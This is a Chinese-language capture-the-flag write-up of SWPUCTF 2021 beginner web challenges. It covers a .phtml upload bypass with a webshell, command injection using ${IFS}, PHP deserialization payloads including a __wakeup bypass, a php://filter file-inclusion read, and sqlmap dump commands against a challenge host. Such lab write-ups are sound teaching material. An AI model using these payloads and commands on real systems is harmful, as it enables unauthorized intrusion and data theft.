[SWPUCTF 2021 新生赛]第二波放题

[SWPUCTF 2021 新生赛]easyupload2.0

文件上传,抓包试一下

[SWPUCTF 2021 新生赛]第二波放题_第1张图片

发现php不行。

和1.0一样,只不过不支持php,用phtml就行了

[SWPUCTF 2021 新生赛]第二波放题_第2张图片蚁剑连接,在目录中找到flag。

知识点:

通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;

完全是php写的,则使用php作为后缀名。

这两种文件,web服务器都会用php解释器进行解析。

[SWPUCTF 2021 新生赛]babyrce

[SWPUCTF 2021 新生赛]第二波放题_第3张图片

 hackbar传入一个cookie:admin=1后,看见rasalghul.php,访问得到一段代码:

然后是命令执行,绕过空格,传入url=ls${IFS}/ 看见 flllllaaaaaaggggggg

[SWPUCTF 2021 新生赛]第二波放题_第4张图片

 再传入命令 cat${IFS}/flllllaaaaaaggggggg.得到flag。

[SWPUCTF 2021 新生赛]ez_unserialize

查看源代码发现disallow:什么东西呢?

联想到robots协议,访问robots.txt,发现disallow:/cl45s.php。

[SWPUCTF 2021 新生赛]第二波放题_第5张图片

 访问得到一段php代码。

admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?

代码审计得知,与序列化有关。要想得到flag。要满足$this->admin === "admin" && $this->passwd === "ctf"。

因此我们应传入反序列化后满足条件的变量p。

对wllm类序列化得:  O:4:"wllm":2:{s:5:"admin";s:6:"passwd";}

应传入 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 得到flag。

不懂序列化的话,可以查看CTF中的序列化与反序列化 - 码农教程

[SWPUCTF 2021 新生赛]include

开始提示我们传入一个file试试,我们随便传入一个file=1.得到:

 ";
echo "
"; echo "
"; echo "
"; echo "
"; include_once($file); ?> flag 在flag.php中

代码审计:

在代码结尾我们发现include_once($file),所以跟文件包含有关。

并且allow_url_include on。

用php伪协议filter读取一下flag.php里内容。

[SWPUCTF 2021 新生赛]第二波放题_第6张图片

base64解码后得到flag。

[SWPUCTF 2021 新生赛]error

通过输入id并报错可以知到,存在字符型注入。order by 得出字段数为3.

[SWPUCTF 2021 新生赛]第二波放题_第7张图片

联合查询发现无法查询。

[SWPUCTF 2021 新生赛]第二波放题_第8张图片

 试一下发现存在报错注入,extractvalue()。

[SWPUCTF 2021 新生赛]第二波放题_第9张图片

 用sqlmap跑。

 sqlmap -u “http://1.14.71.254:28188/index.php?id=1” --dbs
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db --tables
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb --columns
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb -C flag --dump
 

[SWPUCTF 2021 新生赛]no_wakeup

进去后发现,这是一道序列化有关的题。题中给出:

 admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

相比上次ez_unserialize多了一个_wakeup()函数。

wakeup函数有一个漏洞,CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

所以传入?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag。

你可能感兴趣的:(web安全)